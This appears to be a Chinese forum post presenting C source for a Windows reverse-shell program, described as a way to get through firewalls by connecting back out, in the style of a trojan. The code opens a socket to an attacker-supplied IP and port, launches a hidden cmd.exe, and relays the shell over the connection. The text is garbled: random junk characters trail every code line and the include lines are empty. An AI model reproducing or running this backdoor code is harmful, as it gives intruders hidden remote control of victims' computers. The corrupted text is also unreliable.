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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %c$|.TkX  
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/* ============================== LO%e1y  
Rebound port in Windows NT FwKY;^`!d  
By wind,2006/7 M/xm6  
===============================*/ `6YN/"unfp  
#include ]m &Ss  
#include ?|`n&HrP  
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#pragma comment(lib,"wsock32.lib") &eO.h%@  
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void OutputShell(); -)&lsFF  
SOCKET sClient; G&Yo2aADR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HsRoiqo  
mICx9oz]  
void main(int argc,char **argv) DP*$@5  
{ ]A\qI>,  
WSADATA stWsaData; {w ,^Z[<  
int nRet; a>6M{C@pd  
SOCKADDR_IN stSaiClient,stSaiServer; Mx# P >.  
n Jz*}=  
if(argc != 3) uHZjpMoM  
{ ~U]%>Zf  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]A+t@/k  
return; EronNtu8i  
} X=Y(,ZR(&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); wvxqgXnB\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  *ni0.  
" :[;}f;  
stSaiClient.sin_family = AF_INET; ,s}7KE  
stSaiClient.sin_port = htons(0); 1j}e2H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8MU7|9 Q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @C('kUX~!  
{ !6#.%"{-  
printf("Bind Socket Failed!\n"); juu"V]Q 1  
return; q{[y4c1bG{  
} gtY7N>e  
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stSaiServer.sin_family = AF_INET; /7a3*a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3c:fYE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %rl<%%T#.M  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =:TQ_>$Nc2  
{ <h~uGBS"  
printf("Connect Error!"); Q/HEWk  
return; !af;5F  
} {)kL7>u]^V  
OutputShell(); wXYT(R  
} !WB3%E,I  
>*|Eyv_  
void OutputShell() *Hv d  
{ Pc+,iK>  
char szBuff[1024]; zQGj,EAM}  
SECURITY_ATTRIBUTES stSecurityAttributes; qM>Dt  
OSVERSIONINFO stOsversionInfo; W3X;c*j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; or)fx/%h  
STARTUPINFO stStartupInfo; |\C.il7  
char *szShell; ,W]}mqV%.'  
PROCESS_INFORMATION stProcessInformation; Sl \EPKZD  
unsigned long lBytesRead; FELW?Q?k  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h,/3 }  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xKT;1(Mk  
stSecurityAttributes.lpSecurityDescriptor = 0; ILHn~d IC  
stSecurityAttributes.bInheritHandle = TRUE; g,Rh Ut9  
;>]dwsA*P  
((BdT:T\_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pC&i!la{o}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 09iD| $~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g)<[-Q1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /pGx !  
stStartupInfo.wShowWindow = SW_HIDE; Xi=4S[.4  
stStartupInfo.hStdInput = hReadPipe; ?.Ml P,/K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (tg+C\ S.  
Wx8 cK=  
GetVersionEx(&stOsversionInfo); nF 'U*  
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switch(stOsversionInfo.dwPlatformId) 0.wN&:I8t  
{ L_=3`xE _  
case 1: ^<aj~0v  
szShell = "command.com"; a uve&y"R  
break; G<~P||Lu^  
default: I%0J=V;o{  
szShell = "cmd.exe"; #vR5a}BAk  
break; %nkbQ2^  
} A.!3{pAb  
n8&x=Z}Xs  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~}G#ys\1  
6x@]b>W  
send(sClient,szMsg,77,0); c[?&;# feV  
while(1) 1fh6A`c  
{ u/`x@u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ap}`Q(.  
if(lBytesRead) _`9WNJiL  
{ uVw|jj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S.owVMQ  
send(sClient,szBuff,lBytesRead,0); <FvljKuq+  
} 0B5d$0  
else ]mi)x6 3^  
{ ^;EwZwH[  
lBytesRead=recv(sClient,szBuff,1024,0); O(T6Y80pU  
if(lBytesRead<=0) break; G?+]BIiL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mldY/;-H!1  
} (`f)Tt=`  
} ( "J_< p  
{6wy}<ynC+  
return; 9:Z|Z?>?  
}
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